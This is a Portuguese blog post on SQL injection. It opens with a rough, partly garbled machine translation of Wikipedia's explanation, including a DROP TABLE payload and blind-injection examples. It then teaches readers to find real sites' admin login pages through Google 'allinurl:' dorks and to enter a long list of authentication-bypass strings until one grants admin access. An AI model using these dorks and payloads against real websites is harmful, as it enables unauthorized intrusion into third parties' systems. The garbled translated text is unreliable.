SQL Injection

Publicado: maio 7, 2009 em bugs, programacao, seguranca
Tags:, , , ,

SQL Injection é um codigo de injeçao que explora uma BUG de segurança que ocorram na base, Uma camada de aplicaçao.
A vulnerabilidade está presente quando filtrada para string, literalmente: escapar caracteres embutidos em SQL. Declaraçoes ou utilizador não está fortemente digitados e, assim, inesperadamente executado.
FORMAS DE SQL Injection, ( escapar caracteres )
Esta forma de SQL injection ocorre quando o utilizado nao está filtrada para escapar caracteres e, entao, passou para um SQL .
A seguinte linha de codigo ilustra esta vulnerabilidade:

declaração = “SELECT * FROM users WHERE nome = ‘” + userName + “;”

Este código SQL é projetado para puxar os registros do usuário especificado a partir do seu db de usuários. No entanto, se o “userName” variavel é trabalhada de forma especifica por um usuario,O SQL pode fazer mais do que o codigo autor destinam. For example, Por exemplo: determinando a “userName” variável como

um ‘ou’ t ‘=’ t
Torna este SQL pela línguagem-mãe:

SELECT  * FROM  users WHERE  name = ‘a’ OR ‘t’ = ‘t’ ; SELECT * FROM users WHERE nome = ‘A’ ou um ‘t’ = ‘t’;

Se este código devia ser usada em um procedimento da autenticação então este exemplo poderia ser usado para forçar a seleção de um username válido porque a avaliação de ‘ t’ =’ t’ é sempre verdadeiro. Quando a maioria de execuções de usuário do SQL permitirem que as indicações múltiplas sejam executadas com uma chamada, alguns APIs do SQL tais como php’ o mysql_query de s não permite este para motivos de segurança. O seguinte valor do ” userName” na indicação abaixo causaria o apagamento do ” users” tabela assim como a seleção de todos os dados do ” data” tabela (essencialmente que revela a informação de cada usuário), usando um API que permita indicações múltiplas:

a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%

Esta entrada rende a indicação de SQL final como segue:

SELECT * FROM users WHERE name = ‘a’;DROP TABLE users; SELECT * FROM DATA WHERE name LIKE ‘%’;

Respostas condicionais
Um tipo de injeção cega do SQL força a base de dados a avaliar uma indicação lógica em uma tela ordinária da aplicação.

SELECT booktitle FROM booklist WHERE bookId = ‘OOk14cd’ AND 1=1

conduzirá a uma página normal quando

SELECT booktitle FROM booklist WHERE bookId = ‘OOk14cd’ AND 1=2

dará provavelmente um resultado diferente se a página é vulnerável a uma injeção do SQL. Uma injeção como esta mostrará que uma injeção cega do SQL é possível, deixando o atacante às indicações do legado que avaliam para retificar ou falso dependendo dos índices de um campo em uma outra tabela.

Erros condicionais
Este tipo de injeção cega do SQL causa um erro do SQL forçando a base de dados avaliar uma indicação que cause um erro se ONDE a indicação é verdadeira. Por exemplo,

SELECT 1/0 FROM users WHERE username=’Ralph’

a divisão por zero estará avaliada somente e resultado em um erro se o usuário Ralph existe.

AGORA VOU ENSINAR MAIS OU MENOS COMO PEGAR UM SITE VULNERAVEL A ESSE BUG

Para procurar-mos um site vulneravel, vamos usar o google como teste. precisamo de um comando chamado allinurl.
esse comando procura especificadamente aquilo que se vem depois dos dois pontos
exemplo: allinurl:/site/admin/
com esse codigo ele caçará paginas com campos de logins de adiministraçoes.

abaixo uma lista com algums codigos para vc pesquisar no google.
allinurl:/menu_admin/login.asp
allinurl:/noticias/admin/
allinurl:/news/admin/
allinurl:/cadastro/admin/
allinurl:/portal/admin/
allinurl:/menu_admin/default.asp
allinurl:/menu_admin/index.aspallinurl:/webadmin/default.asp

allinurl:/site/admin/
allinurl:/home/admin.asp
allinurl:/home/admin/index.asp
allinurl:/home/admin/default.asp
allinurl:/home/admin/login.asp
allinurl:/web/admin/index.asp

Pegue uma das linhas acima e pesquise no google.após isso saira

uma lista de sites com paginas, Que poderao ser vulneraveis.

Clique em algum.

login

a mesma string usada no login deve ser usada no campo de senha ok.
abaixo uma lista de strings:b’ or ‘ 1=’
‘ or ‘1“) ou (”a”=”a
hi “ou” a”=”a
hi “ou 1=1 –
hi ‘ ou 1=1 –
hi ‘ ou ‘ a’=’a
hi ‘) ou (’ a’=’a
hi”) ou (”a”=”a
‘ or ‘x’=’x

‘ or ‘|
‘ or ‘a’=’a
‘ or ”=’
‘ or 1=1–
‘) or (’a’=’a
‘ or ‘1′=’1
admin ‘ – –
‘ ou 0=0 –
“ou 0=0 –
ou 0=0 –
‘ ou 0=0 #
“ou 0=0 #
ou 0=0 #
‘ ou ‘ x’=’x
“ou” x”=”x
‘) ou (’ x’=’x
‘ ou 1=1 –
“ou 1=1 –
ou 1=1 –
‘ ou a=a –
“ou” a”=”a
‘) ou (’ a’=’a

este varias strings ate acertar uma que de uma confusao no banco de dados do servidor assim te dando acesso a pagina da adiministração
espero que tenham gostado…

Por isso eu Digo, Tomen cuidado programadores!
Fonte: Wikipedia
Todos os creditos são para o site wikipedia

comentários
  1. magal disse:

    Eu gostaria de ver na pratica um exemplo de sql injection (em um site pois ja testei tudo que vc posta e nada parece que somente é teoria)

    • isso é realmente, somente teoria.
      Primeiro voce aprende a teoria, depois voce tenta na pratica.
      Aconselho a voces que nao entenderam estes comandos, lerem alguma destas apostilas que tem na internet sobre mysql que é um dos banco de dados mais usados hoje em dia

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s